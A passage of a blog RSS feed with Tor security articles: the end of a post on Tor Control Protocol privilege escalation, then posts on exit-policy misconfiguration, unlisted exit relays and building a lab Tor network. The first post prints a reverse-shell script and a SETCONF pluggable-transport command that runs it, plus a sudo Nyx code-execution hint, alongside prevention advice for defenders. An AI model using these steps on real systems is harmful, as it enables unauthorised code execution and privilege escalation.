̶c̶r̶a̶c̶k̶e̶r̶,̶ ̶b̶u̶t̶ ̶i̶t̶ ̶g̶e̶t̶s̶ ̶t̶h̶e̶ ̶j̶o̶b̶ ̶d̶o̶n̶e̶ ̶(̶i̶t̶ ̶g̶e̶t̶s̶ ̶t̶h̶r̶o̶u̶g̶h̶ ̶r̶o̶c̶k̶y̶o̶u̶.̶t̶x̶t̶ ̶i̶n̶ ̶~̶1̶0̶h̶ ̶w̶i̶t̶h̶ ̶a̶n̶ ̶A̶M̶D̶ ̶R̶y̶z̶e̶n̶ ̶5̶ ̶7̶6̶0̶0̶X̶)̶.̶ By using the power of C and multiprocessing, it gets through rockyou.txt in 1m05s with an AMD Ryzen 5 7600X when using all 12 logical processors.</p><p>Once you successfully crack the password, you can login using the AUTHENTICATE command (don’t forget to put double quotes around the password).</p><pre>PROTOCOLINFO<br>250-PROTOCOLINFO 1<br>250-AUTH METHODS=HASHEDPASSWORD<br>250-VERSION Tor=&quot;0.4.8.12&quot;<br>250 OK<br>AUTHENTICATE &quot;password&quot;<br>250 OK</pre><p>The third and fourth authentication schemes are COOKIE and SAFECOOKIE. Both of these methods use a cookie file, which is simply a file that contains binary data to be sent as authentication. The location of the file can be found in the PROTOCOLINFO response. Since it is usually only readable by the user running the Tor process, you most likely won’t be able to get the value needed for authentication that way. If for some reason you can read the file, you can use xxd -ps -c32 control_auth_cookie or hexdump -e &#39;32/1 &quot;%02x&quot;&quot;\n&quot;&#39; control_auth_cookie to get the value to pass to the AUTHENTICATE command (without double quotes this time).</p><pre>PROTOCOLINFO<br>250-PROTOCOLINFO 1<br>250-AUTH METHODS=COOKIE,SAFECOOKIE COOKIEFILE=&quot;/var/lib/tor/.tor/control_auth_cookie&quot;<br>250-VERSION Tor=&quot;0.4.8.12&quot;<br>250 OK<br>AUTHENTICATE 1e8bdfce429971640696ba108b77d5b8552e40d7f74f3140633390b99e1dfeb3<br>250 OK</pre><p>Just like the hashed password method, if you are unable to get the authentication string, you can always try to sniff the value from the network. However, that’s where SAFECOOKIE comes in. This authentication scheme works by sending a nonce to the server, which will respond with a challenge. You must answer the challenge by generating a digest using the cookie value and send it back to the server. This way, even if someone is eavesdropping on your connection, you never leak the password directly. Since this is a bit out of scope of this article, have a look at <a href="https://gist.github.com/ndsamuelson/3c83f38ae470c82ff87d2653af11716b#im-using-safe-cookie-authentication">this nice Gist</a> for more information on that!</p><h3>Code execution</h3><p>OK let’s say you made it in and are authenticated to the Tor Control Protocol port. To allow users to bypass network restrictions that block Tor, it is possible to use what’s called “pluggable transports”. These are meant to act as a proxy often running on some covert protocol. What’s interesting is that these pluggable transport can also execute a script or binary that would usually be used to setup what is needed for this proxy connection. Both the ClientTransportPlugin and the ServerTransportPlugin can be used for this (the former connects to the latter), but the server configuration is the easiest to setup since it doesn’t require additional configuration to work (the client side also requires a corresponding Bridge directive). First, let’s create a simple bash script to send a reverse shell.</p><pre>#!/bin/bash<br>sh -i &gt;&amp; /dev/tcp/192.168.0.202/5555 0&gt;&amp;1</pre><p>Make this script executable using chmod +x myscript.sh and set the ServerTransportPlugin directive using the SETCONF command (you can replace dax with anything you like, it’s simply the name you give to this transport plugin).</p><pre>SETCONF ServerTransportPlugin=&quot;dax exec /tmp/dax.sh&quot;<br>250 OK</pre><p>If all went according to plan, the tor process will restart, execute your script and you should receive your reverse shell with the permission of the Tor process!</p><h3>Prevention</h3><p>As a relay operator or Tor user, there are a few precautions you can take to prevent this privilege escalation vector.</p><ol><li>Only open the Tor Control Protocol if you really need to.</li><li>Ensure that you are using either password or cookie authentication (but the latter is better to protect against MitM attacks).</li><li>If you are using password authentication, ensure that the torrc file is only readable by the tor user (so the hash cannot be easily extracted) and be sure to use a strong password.</li><li>If you are using cookie authentication, ensure that the cookie file is only readable by the tor user, and prioritize the use of the SAFECOOKIE authentication method.</li><li>Add the NoExec 1 line to your torrc. This will prevent the Tor process from launching another executable, regardless of what is specified in the transport plugin configuration. This option also cannot be changed while the process is running. Trying to do so will result in the following error.</li></ol><pre>setconf NoExec=0<br>553 Transition not allowed: While Tor is running, changing NoExec is not allowed</pre><h3>Conclusion</h3><p>In this article, we enumerated the Tor Control Protocol, we explored its different authentication methods, and we use the pluggable transport options to execute arbitrary code in the context of the running Tor process. Finally, we listed a few ways to secure your Tor Control Protocol so that no uninvited guest can elevate its privileges on your system by using it. While it is pretty rare to find this protocol running on a system, I believe it is still worth adding this privilege escalation method to any pentester or CTF player’s tool belt!</p><p>That’s all folks, stay safe out there, and hack the planet!</p><h3>Bonus: code execution through Nyx</h3><p>In my last few articles, I used <em>Nyx</em> to monitor my Tor nodes. If you ever get a funny line in your <em>sudoers</em> file that looks a bit like ALL ALL=(root) NOPASSWD: /usr/bin/nyx , remember that the <em>Interpreter view</em> can not only be used to send Tor Control Protocol commands, but also to execute arbitrary Python code!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b90ff8ef5d62" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Tor Exit Policies]]></title>
            <link>https://medium.com/@dax_dev/hacking-tor-exit-policies-2b50310a0594?source=rss-38844d2c6700------2</link>
            <guid isPermaLink="false">https://medium.com/p/2b50310a0594</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[darknet]]></category>
            <category><![CDATA[deep-web]]></category>
            <category><![CDATA[tor]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[dax]]></dc:creator>
            <pubDate>Sat, 19 Oct 2024 14:23:38 GMT</pubDate>
            <atom:updated>2024-10-19T14:23:38.413Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vuulamYHvLX_8WPMTl1Axg.png" /></figure><p>A Tor circuit consists of three relays: a guard (entry) node, a middle node and an exit node. Guards and middles are very similar, in the sense that they both have the same configuration. Guards are basically middle relays that have sufficient bandwidth, uptime and age.</p><p>Exit relays, however, differ by having an ExitRelay 1 statement in their configuration, allowing traffic to exit the Tor network through them. This comes with certain implications, since it’s their IP addresses that show up when users are accessing resources through the network. By default, exit relays only allow specific traffic to go through, defined by an ExitPolicy. Here is the default exit policy (the element before the colon represents IP addresses, and after, the port).</p><pre>reject *:25<br>reject *:119<br>reject *:135-139<br>reject *:445<br>reject *:563<br>reject *:1214<br>reject *:4661-4666<br>reject *:6346-6429<br>reject *:6699<br>reject *:6881-6999<br>accept *:*</pre><p>In addition to these rules, private addresses are blocked, as well as the primary IPv4 and IPv6 addresses associated with the relay. This can, of course, be modified by the relay operator to allow or block anything he wants. In this article, we will try to find out how difficult it is to “accidentally” expose our private subnet to the Tor network by misconfiguring the exit relay. Our goal will be to access a web page running on localhost on an exit relay.</p><blockquote>This article builds on my two previous articles that explain <a href="https://medium.com/@dax_dev/creating-a-testing-tor-network-from-scratch-e952d76a18cb">how to build a testing Tor network</a> and <a href="https://medium.com/@dax_dev/using-tor-unlisted-exit-relays-af7e79477d31">how to setup an unlisted exit relay</a>. I’ll be skipping over the details of what is covered in there.</blockquote><h3>Creating a lab accident</h3><p>First of all, we’ll be testing this in an isolated environment using the <a href="https://github.com/daxAKAhackerman/testing-tor-network">testing-tor-network</a> repository. Let’s spawn the network.</p><pre>python cli/main.py container add-da --count=3<br>python cli/main.py container add-relay --count=5<br>python cli/main.py container add-exit --count=3</pre><p>Then let’s modify the torrc.client like we did in the last article to prevent circuits from building automatically, so we can control which exit node to use.</p><pre>__DisablePredictedCircuits 1<br>MaxCircuitDirtiness 999999<br>NewCircuitPeriod 999999</pre><pre>make<br>python cli/main.py container add-client --port 9050</pre><p>Now we’ll choose one of the exits and spin up a web server on it.</p><pre>docker exec -it testing-tor-exit-00000000 bash<br>cd<br>mkdir webroot<br>cd webroot<br>echo &quot;&lt;h1&gt;test&lt;/h1&gt;&quot; &gt; index.html<br>python3 -m http.server 8080</pre><p>We’ll connect to our client using <em>Nyx</em> and create a circuit that uses this exit node.</p><pre>docker exec -it testing-tor-client-00000000 bash<br>nyx<br><br># Navigate to the Interpreter view and press Enter<br>EXTENDCIRCUIT 0 relay00000000,relay00000001,exit00000000</pre><p>Finally, let’s see what happens when we try to reach the web server through the Tor network.</p><pre>curl -x socks5h://localhost:9050 localhost:8080</pre><p>… and it worked? Well, yes but no. Every node of our testing network has the TestingTorNetwork 1 directive in their torrc, which sets ExitPolicyRejectPrivate 0 by default, thus explaining why it worked. I guess we’ll just have to test it in the real Tor network!</p><h3>Creating a real world accident</h3><p>For this part, we will continue where we left off in <a href="https://medium.com/@dax_dev/using-tor-unlisted-exit-relays-af7e79477d31">my last article about setting up an unlisted exit relay</a>, since I’d rather not have random Tor users just leaking inside my private subnet. If you follow the article, what you’ll end up with is an exit relay that is not publicly listed (we’ll be using an Amazon EC2 instance for this), as well as a modified Tor binary to use as our client. This client will then have a single circuit that uses this exit.</p><p>Alright, now that this is out of the way, let’s continue with our experiment. If we try to run our web server again and try to curl it with our client, we’ll just get curl: (97) Can’t complete SOCKS5 connection to localhost. (1). This was to be expected since now that we are no longer in a testing network, we do not allow connections to private IP addresses. Let’s turn this protection off on our relay and see what happens. Add the new ExitPolicyRejectPrivate 0 and ExitPolicy accept *:* directives to our exit torrc and restart tor using systemctl restart tor@default.service. Now let’s curl again and… same result?</p><p>To know what’s going on we’ll need to get a bit more logs. The Tor control protocol comes with this neat thing called events. It allows us to tell Tor what we want it to log. Using <em>Nyx</em>, it is very easy to set this up. Simply go to the Graph / Log view, and press “E”. You’ll be met with this small window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*FPwGMhYG1PdBbNJN9Pv1qA.png" /></figure><p>We’ll want to toggle the STREAM events, select [Ok] and press <em>Enter</em>. Now try your curl command again and you should see something like 5 FAILED 0 localhost:8080 REASON=PRIVATE_ADDR CLIENT_PROTOCOL=SOCKS5 NYM_EPOCH=0 SESSION_GROUP=-4…. Time to have a look at the Tor source code again! If we search for PRIVATE_ADDR, we should have a few matches. The one that we’re interested about is in src/core/or/connection_edge.c.</p><pre>if (options-&gt;ClientRejectInternalAddresses &amp;&amp;<br>    !conn-&gt;use_begindir &amp;&amp; !conn-&gt;chosen_exit_name &amp;&amp; !circ) {<br>  /* If we reach this point then we don&#39;t want to allow internal<br>   * addresses.  Check if we got one. */<br>  tor_addr_t addr;<br>  if (tor_addr_hostname_is_local(socks-&gt;address) ||<br>      (tor_addr_parse(&amp;addr, socks-&gt;address) &gt;= 0 &amp;&amp;<br>       tor_addr_is_internal(&amp;addr, 0))) {<br>    /* If this is an explicit private address with no chosen exit node,<br>     * then we really don&#39;t want to try to connect to it.  That&#39;s<br>     * probably an error. */<br>    if (conn-&gt;is_transparent_ap) {<br>#define WARN_INTRVL_LOOP 300<br>      static ratelim_t loop_warn_limit = RATELIM_INIT(WARN_INTRVL_LOOP);<br>      char *m;<br>      if ((m = rate_limit_log(&amp;loop_warn_limit, approx_time()))) {<br>        log_warn(LD_NET,<br>                 &quot;Rejecting request for anonymous connection to private &quot;<br>                 &quot;address %s on a TransPort or NATDPort.  Possible loop &quot;<br>                 &quot;in your NAT rules?%s&quot;, safe_str_client(socks-&gt;address),<br>                 m);<br>        tor_free(m);<br>      }<br>    } else {<br>#define WARN_INTRVL_PRIV 300<br>      static ratelim_t priv_warn_limit = RATELIM_INIT(WARN_INTRVL_PRIV);<br>      char *m;<br>      if ((m = rate_limit_log(&amp;priv_warn_limit, approx_time()))) {<br>        log_warn(LD_NET,<br>                 &quot;Rejecting SOCKS request for anonymous connection to &quot;<br>                 &quot;private address %s.%s&quot;,<br>                 safe_str_client(socks-&gt;address),m);<br>        tor_free(m);<br>      }<br>    }<br>    connection_mark_unattached_ap(conn, END_STREAM_REASON_PRIVATE_ADDR);<br>    return -1;<br>  }<br>} /* end &quot;if we should check for internal addresses&quot; */</pre><p>Interesting! Seems like we should add the ClientRejectInternalAddresses 0 directive to our client torrc. Changing that and repeating the same process should now show a different event: 6 FAILED 1 localhost:8080 REASON=TORPROTOCOL…. Let’s search for that in the source code and… Oh wow that is a lot of matches. Looking at the matched files, we’ll find three interesting blocks of code in src/core/or/relay.c.</p><pre>if (get_options()-&gt;ClientDNSRejectInternalAddresses &amp;&amp;<br>    tor_addr_is_internal(&amp;addr, 0)) {<br>  log_info(LD_APP,&quot;Address &#39;%s&#39; resolved to internal. Closing,&quot;,<br>           safe_str(conn-&gt;socks_request-&gt;address));<br>  connection_mark_unattached_ap(conn, END_STREAM_REASON_TORPROTOCOL);<br>  return 0;<br>}<br><br>...<br><br>if (orig_len &amp;&amp; smartlist_len(resolved_addresses) == 0) {<br>    log_info(LD_APP, &quot;Got a resolved cell with only private addresses; &quot;<br>             &quot;dropping it.&quot;);<br>  connection_ap_handshake_socks_resolved(entry_conn,<br>                                         RESOLVED_TYPE_ERROR_TRANSIENT,<br>                                         0, NULL, 0, TIME_MAX);<br>  connection_mark_unattached_ap(entry_conn,<br>                                END_STREAM_REASON_TORPROTOCOL);<br>  goto done;<br>}<br><br>...<br><br>if (tor_addr_is_null(&amp;addr) ||<br>    (get_options()-&gt;ClientDNSRejectInternalAddresses &amp;&amp;<br>     tor_addr_is_internal(&amp;addr, 0))) {<br>  log_info(LD_APP, &quot;...but it claims the IP address was %s. Closing.&quot;,<br>           safe_str(fmt_addr(&amp;addr)));<br>  connection_edge_end(conn, END_STREAM_REASON_TORPROTOCOL);<br>  connection_mark_unattached_ap(entry_conn,<br>                                END_STREAM_REASON_TORPROTOCOL);<br>  return 0;<br>}</pre><p>All of these blocks are only executed if the ClientDNSRejectInternalAddresses directive is true . However, if you try to add it to your torrc, your client will fail to start with Failed to parse/validate config: ClientDNSRejectInternalAddresses used for default network.. So instead, let’s just <em>yeet </em>those code blocks, compile, and try again!</p><p>A new error appears: No Tor server allows exit to [scrubbed]:8080. Interesting, it seems like even if we explicitly allowed the destination in the exit policy of the relay, our client will still try to prevent us from reaching it. Applying the same logic, we find the following code block in src/core/or/circuituse.c.</p><pre>if (router_exit_policy_all_nodes_reject(addrp,<br>                                        conn-&gt;socks_request-&gt;port,<br>                                        need_uptime)) {<br>  log_notice(LD_APP,<br>             &quot;No Tor server allows exit to %s:%d. Rejecting.&quot;,<br>             safe_str_client(conn-&gt;socks_request-&gt;address),<br>             conn-&gt;socks_request-&gt;port);<br>  return -1;<br>}</pre><p>Remove it, and finally, after all of this effort, we are met with the result we wanted: our internal web page shows up after running the curl command!</p><h3>Conclusion</h3><p>So to answer the original question how difficult it is to “accidentally” expose our private subnet to the Tor network by misconfiguring the exit relay: I’d say pretty difficult. If you effectively achieve this by accident, you’re probably due for some shore leave. Not only did it require two separate misconfiguration on the exit relay, but it also required extensive modification of the tor client binary. Now keep in mind that the only real protection here is the configuration of the exit relay. The tor client’s security measures are in place to protect the user, not the relay operator.</p><p>Hopefully, you learned a little bit more about how exit relays operate, and if you are an exit relay operator, made you feel a little safer (and also thank you for helping the network, doing God’s work here).</p><p>That’s all folks, stay safe out there, and hack the planet!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2b50310a0594" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Tor Unlisted Exit Relays]]></title>
            <link>https://medium.com/@dax_dev/using-tor-unlisted-exit-relays-af7e79477d31?source=rss-38844d2c6700------2</link>
            <guid isPermaLink="false">https://medium.com/p/af7e79477d31</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[darknet]]></category>
            <category><![CDATA[tor]]></category>
            <category><![CDATA[deep-web]]></category>
            <dc:creator><![CDATA[dax]]></dc:creator>
            <pubDate>Sat, 12 Oct 2024 16:06:30 GMT</pubDate>
            <atom:updated>2024-10-12T16:06:30.574Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SBE3Ci0Z-hzPncfRmgZxhg.png" /></figure><p>If you are a bit familiar with the Tor network (The Onion Router), you might be already aware of <em>bridges</em>. These special types of relays are run by volunteers just like all other nodes, but they differ in a very special way. These guard (entry) relays are not publicly listed. This acts as an anti-censorship technique, making it harder for entities to block traffic going to the Tor network.</p><p>There are multiple ways to get bridge addresses: from the Tor website, by emailing <em>bridges@torproject.org</em>, by requesting it in the Tor browser or by messaging <em>@GetBridgesBot</em> on Telegram. They can then easily be added using the “Add new bridges” menu in the Tor browser.</p><p>But what about <em>unlisted exit relays</em>? Since Tor exit relay addresses are very often blocked by various services (like streaming services and search engines), wouldn’t it be sometimes practical to build a Tor circuit that exits from an IP address that is not publicly associated with the network? That’s what we are going to explore in this article!</p><blockquote><strong>Disclaimer:</strong> this is intended for research purposes only; doing this on the real Tor network can seriously hinder your anonymity.</blockquote><h3>Trying it out in a testing network</h3><p>First of all, we are going to be testing this in a testing Tor network before trying it in the real world. We’ll be using <a href="https://github.com/daxAKAhackerman/testing-tor-network">testing-tor-network</a>, a tool that I presented in <a href="https://medium.com/@dax_dev/creating-a-testing-tor-network-from-scratch-e952d76a18cb">my last article</a>. Let’s setup a network.</p><pre>python cli/main.py container add-da --count 3<br>python cli/main.py container add-relay --count 5<br>python cli/main.py container add-exit --count 3</pre><p>Now we will add our special exit relay, with the PublishServerDescriptor 0 directive added to its torrc.</p><pre># Edit the base torrc file of exit relays<br>echo &quot;PublishServerDescriptor 0&quot; &gt;&gt; docker/torrc.exit<br><br># Rebuild the image<br>make<br><br># Add an exit relay<br>python cli/main.py container add-exit</pre><p>You will notice that our relay will never get its flags. That’s normal since we told it not to publish its server descriptors to the directory authorities. Our client, however, will indeed need those descriptors if it wants to build circuits using our exit relay, so we’ll manually dump them.</p><pre># Spawn a shell in our exit container<br>docker exec -it testing-tor-exit-00000000 bash<br><br># We won&#39;t be using Nyx for this as it makes it kind of hard to copy the descriptors<br><br># Get the control cookie value<br>xxd -ps -c32 /var/lib/tor/.tor/control_auth_cookie<br><br># Authenticate to the control port<br>telnet localhost 9051<br>authenticate &lt;cookie_value&gt;<br><br># Get our descriptor<br>getinfo status/fresh-relay-descs<br><br># Copy everything from the line that starts with &quot;router&quot; up to the line that only contains a single &quot;.&quot; (it has to be included)<br># Paste it in a notepad or something so we can modify it<br># You want to remove all lines from the one that starts with &quot;extra-info&quot; (not &quot;extra-info-digest&quot;) up to the line with the &quot;.&quot; (but keep that last &quot;.&quot; line)<br># For some reason, the extra-info line and the ones after that make the descriptor unparsable. <br><br># Exit the telnet connection<br>quit</pre><p>The next step will be to add those descriptors to our client manually. First, let’s modify our torrc.client file a bit. Add these lines.</p><pre># By default, nodes fetch microdescriptors instead of descriptors<br># This reduces the network load when fetching the consensus<br># However, since our exit relay is not in the consensus, we&#39;ll need to give all the information we have on it and microdescriptors won&#39;t be sufficient<br># Because of this, let&#39;s switch back to regular descriptors<br>UseMicrodescriptors 0<br><br># Disable the auto-creation of circuits so that we can build our circuit manually instead<br>__DisablePredictedCircuits 1<br><br># Allow a circuit to stay &quot;dirty&quot; (used) for more than the default 10 minutes before tearing it down<br>MaxCircuitDirtiness 999999<br><br># By default, tor will check if it needs to build new circuits every 30 seconds<br># Let&#39;s bump that too<br>NewCircuitPeriod 999999</pre><p>Let’s build the image, spawn a client and add our descriptors.</p><pre>make<br>python cli/main.py container add-client --port 9050<br>docker exec -it testing-tor-client-00000000 bash<br>xxd -ps -c32 /var/lib/tor/.tor/control_auth_cookie<br>telnet localhost 9051<br>authenticate &lt;cookie_value&gt;<br><br># To add the descriptor, use the multi-line command POSTDESCRIPTOR, press enter and paste the descriptor (including the &quot;.&quot; line)<br>+POSTDESCRIPTOR purpose=general cache=yes<br>&lt;DESCRIPTOR&gt;</pre><p>Do this and you will be met by the response 251 Skipping router descriptor: not in consensus.. Well, that was disappointing. Turns out, the tor binary has a check that will prevent us from adding random descriptors to the consensus. Good thing the project is open source! Let’s <a href="https://www.torproject.org/download/tor/">download the source code</a> and see what’s up.</p><pre># Download the source<br>wget https://dist.torproject.org/tor-0.4.8.12.tar.gz<br><br># Extract it<br>tar zxvf tor-0.4.8.12.tar.gz<br>cd tor-0.4.8.12<br><br># Find where the check is<br>grep -r &quot;Skipping router descriptor: not in consensus&quot; .</pre><p>The previous command should indicate that we have a match in the ./src/feature/nodelist/routerlist.c file. Specifically here, on line 1688.</p><pre>  if (router-&gt;purpose == ROUTER_PURPOSE_GENERAL &amp;&amp;<br>      consensus &amp;&amp; !in_consensus &amp;&amp; !authdir) {<br>    /* If it&#39;s a general router not listed in the consensus, then don&#39;t<br>     * consider replacing the latest router with it. */<br>    if (!from_cache &amp;&amp; should_cache_old_descriptors())<br>      signed_desc_append_to_journal(&amp;router-&gt;cache_info,<br>                                    &amp;routerlist-&gt;desc_store);<br>    routerlist_insert_old(routerlist, router);<br>    *msg = &quot;Skipping router descriptor: not in consensus.&quot;;<br>    return ROUTER_NOT_IN_CONSENSUS;<br>  }</pre><p>Let’s go <em>snip snip</em> and remove the whole if block. Then, let’s recompile the tor binary and add it to our base tor image.</p><pre># Configure the project (note that you might have to install a few packages to be able to do it, just let the error messages guide you)<br>./configure<br><br># Build it<br>make<br><br># Go back to the testing-tor-network folder<br>cd /opt/testing-tor-network<br><br># Move the new tor binary here<br>cp /tmp/tor/tor-0.4.8.12/src/app/tor docker<br><br># Edit the base image<br>echo &quot;COPY tor /usr/bin/tor&quot; &gt;&gt; docker/Dockerfile<br>make</pre><p>Now let’s try this again, shall we?</p><pre># Get rid of the previous client<br>python cli/main.py container delete testing-tor-client-00000000<br><br># Add a new client and add the descriptor<br>python cli/main.py container add-client --port 9050<br>docker exec -it testing-tor-client-00000000 bash<br>xxd -ps -c32 /var/lib/tor/.tor/control_auth_cookie<br>telnet localhost 9051<br>authenticate &lt;cookie_value&gt;<br>+POSTDESCRIPTOR purpose=general cache=yes<br>&lt;DESCRIPTOR&gt;</pre><p>If all went according to plan, you should be met with a sweet 250 OK. All we need now is to build our circuit and use it. We’ll be using <em>Nyx</em> this time to execute the commands.</p><pre># Exit the telnet shell<br>quit<br><br># Start Nyx<br>nyx<br><br># Using the arrow keys, navigate to the &quot;Interpreter&quot; view, and press Enter to activate the CLI<br><br># Use the EXTENDCIRCUIT command to create a new circuit<br># The first argument is the circuit number<br># Use 0 to create a new circuit<br># The second argument is a comma delimited list of relays<br># You can pick any relays for the first two, but remember to use your unlisted exit node for the third<br>EXTENDCIRCUIT 0 relay00000001,relay00000002,exit00000004<br><br># You can confirm that your circuit was successfully created in the &quot;Connection&quot; view</pre><p>And that’s it! All you have to do now is to send traffic through your client port and it will be routed through the only circuit available: the one that contains your unlisted exit node!</p><h3>The real thing</h3><p>Now the question is: does it actually work in the real Tor network? Let’s find out! We’ll be using an Amazon EC2 instance to act as our unlisted exit node, but, of course, you can use whatever you want. We will install tor, create a torrc, start tor and dump the descriptors.</p><pre>apt-get install apt-transport-https<br>echo &quot;deb [signed-by=/usr/share/keyrings/deb.torproject.org-keyring.gpg] https://deb.torproject.org/torproject.org trixie main&quot; &gt; /etc/apt/sources.list.d/tor.list<br>echo &quot;deb-src [signed-by=/usr/share/keyrings/deb.torproject.org-keyring.gpg] https://deb.torproject.org/torproject.org trixie main&quot; &gt;&gt; /etc/apt/sources.list.d/tor.list<br>wget -qO- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --dearmor | tee /usr/share/keyrings/deb.torproject.org-keyring.gpg &gt;/dev/null<br>apt update<br>apt install tor deb.torproject.org-keyring<br>rm /etc/tor/torrc<br>vi /etc/tor/torrc</pre><pre>AssumeReachable 1<br>AddressDisableIPv6 1<br>ControlPort 9051<br>CookieAuthentication 1<br>SocksPort 0<br>ORPort 9001 IPv4Only<br>ExitRelay 1<br>PublishServerDescriptor 0<br>Nickname mysecretexit<br>Address &lt;your_public_ip&gt;<br>ContactInfo mysecretexit &lt;mysecretexit AT localhost&gt;</pre><pre>systemctl restart tor@default.service<br>xxd -ps -c32 /run/tor/control.authcookie<br>telnet localhost 9051<br>authenticate &lt;cookie_value&gt;<br>getinfo status/fresh-relay-descs<br>quit<br><br># We&#39;ll check our IP to validate later if it matches what we get when using our circuit<br>curl https://ip.me</pre><p>Now we will create a torrc for our client and use it with our modified tor binary.</p><pre>ControlPort 9051<br>CookieAuthentication 1<br>UseMicrodescriptors 0<br>__DisablePredictedCircuits 1<br>MaxCircuitDirtiness 999999<br>NewCircuitPeriod 999999</pre><pre># Start the tor process<br>./tor -f /tmp/torrc<br><br># Add the descriptor<br>xxd -ps -c32 ~/.tor/control_auth_cookie<br>telnet localhost 9051<br>authenticate &lt;cookie_value&gt;<br>+POSTDESCRIPTOR purpose=general cache=yes<br>&lt;DESCRIPTOR&gt;<br><br># You can choose any relays for your first 2 hops<br># You can see the list of available relays here https://metrics.torproject.org/rs.html<br>EXTENDCIRCUIT 0 editedtheconfig,vitriolrelay,mysecretexit<br><br># Validate that the circuit is there<br>nyx<br><br># Try your circuit<br>curl -x socks5h://localhost:9050 https://ip.me<br><br># If the IP it returns is the same as your exit node (and it should), then it worked! </pre><h3>Conclusion</h3><p>In this article, we created an unlisted exit relay in a testing tor network and manually created a circuit using this node. We then validated that what we did in our lab works in the real world by confirming that our public IP address was indeed the one of our exit relay when our requests were proxied through the Tor network. While this is definitely not good for your anonymity (we prevented circuits from being destroyed and are using a single circuit for all connections), it shows how relatively easily it is to step out of the beaten path and control how your requests are routed through the Tor network. In this specific case, it helped us circumvent IP restrictions that some online services use to block the Tor network. Who knows, maybe “exit bridges” will actually become a thing some day!</p><p>That’s all folks, stay safe out there, and hack the planet!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af7e79477d31" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating a Testing Tor Network From Scratch]]></title>
            <link>https://medium.com/@dax_dev/creating-a-testing-tor-network-from-scratch-e952d76a18cb?source=rss-38844d2c6700------2</link>
            <guid isPermaLink="false">https://medium.com/p/e952d76a18cb</guid>
            <category><![CDATA[darknet]]></category>
            <category><![CDATA[deep-web]]></category>
            <category><![CDATA[tor]]></category>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[dax]]></dc:creator>
            <pubDate>Sat, 05 Oct 2024 15:53:52 GMT</pubDate>
            <atom:updated>2024-10-05T15:53:52.830Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*adcr70elyF7hYQQmTkpvJA.png" /></figure><p>I’ve recently taken an interest in the Tor network (The Onion Router). Specifically in how it works behind the scenes. I’ve had multiple ideas of things to try and experiment with, but it would require an isolated network that I entirely controlled. If you try to find information online on creating your own Tor network, you’ll find yourself scavenging through Stack Overflow, Tor forums, the Tor specification and the Tor <em>GitLab </em>repository. The goal of this article is to offer a complete, in-depth tutorial-like example on how to set this up, saving you the time to find all of this information yourself. Everything will be explained in detail, leaving no stones unturned, so you’ll completely understand the pieces of a Tor network. I will also skip the formalities and assume you know what the Tor network is, since you are trying to build your own.</p><blockquote><strong>TL;DR</strong> If this contains too much detail for you, you can go <a href="https://github.com/daxAKAhackerman/testing-tor-network">here</a> and have a look at the <em>README </em>for a boiled-down version of this article, as well as a CLI that will do all the heavy lifting for you.</blockquote><h3>Requirements</h3><ul><li>A working installation of Docker</li></ul><h3>Creating a base image</h3><p>The first thing we’ll do is create a base Tor docker image. The instructions are taken directly from the “<a href="https://community.torproject.org/onion-services/setup/install/">How to install Tor</a>” page on the Tor Project website.</p><pre>FROM debian:12.7<br><br>ENV DEBIAN_FRONTEND=noninteractive<br><br>RUN apt-get update &amp;&amp; apt-get install apt-transport-https wget gpg iproute2 iputils-ping sudo vim procps bash-completion curl tcpdump bsdmainutils telnet -y<br>RUN echo &quot;deb [signed-by=/usr/share/keyrings/deb.torproject.org-keyring.gpg] https://deb.torproject.org/torproject.org bookworm main&quot; &gt; /etc/apt/sources.list.d/tor.list<br>RUN echo &quot;deb-src [signed-by=/usr/share/keyrings/deb.torproject.org-keyring.gpg] https://deb.torproject.org/torproject.org bookworm main&quot; &gt;&gt; /etc/apt/sources.list.d/tor.list<br>RUN wget -qO- https://deb.torproject.org/torproject.org/A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89.asc | gpg --dearmor | tee /usr/share/keyrings/deb.torproject.org-keyring.gpg &gt;/dev/null<br>RUN apt-get update &amp;&amp; apt-get install tor deb.torproject.org-keyring nyx -y<br><br># Delete the default torrc file since we are going to replace it<br>RUN rm /etc/tor/torrc</pre><p>I’ve added <em>Nyx</em> to the list of installed packages to help us monitor our nodes, as well as a few convenience packages. Build the image using docker build -t testing-tor ..</p><p>Last thing we’ll want to do is create a docker network so we can assign static IPs to our nodes.</p><pre>docker network create testing-tor --subnet 10.5.0.0/16</pre><h3><strong>Adding your first directory authority</strong></h3><p>Directory authorities (or DA for short) are at the core of the Tor network. Their job is to keep the state of the network (known as the consensus) and to distribute it to the various nodes. The nodes can then use the information contained within to build circuits across the network. The status is called a consensus for a reason: for a valid consensus to be published, an agreement of 2/3 of the DAs on the state of the network needs to be reached. This ensures that no single compromised DA can affect the network. Let’s create our DA.</p><pre># First, we create a temporary container and spawn a shell inside it<br># We specify the IP because we do not want it to change every time the container reboots<br># Be sure that the IP is in your docker network range<br>docker run --name tmp-da-1 --ip 10.5.1.10 --network testing-tor -it testing-tor bash</pre><p>Every configuration for your nodes will be in the /etc/tor/torrc file. Here’s what we need to kick off the DA (we’ll be adjusting it later). Each line is commented to explain why it needs to be there. For more detail on each directive have a look at <a 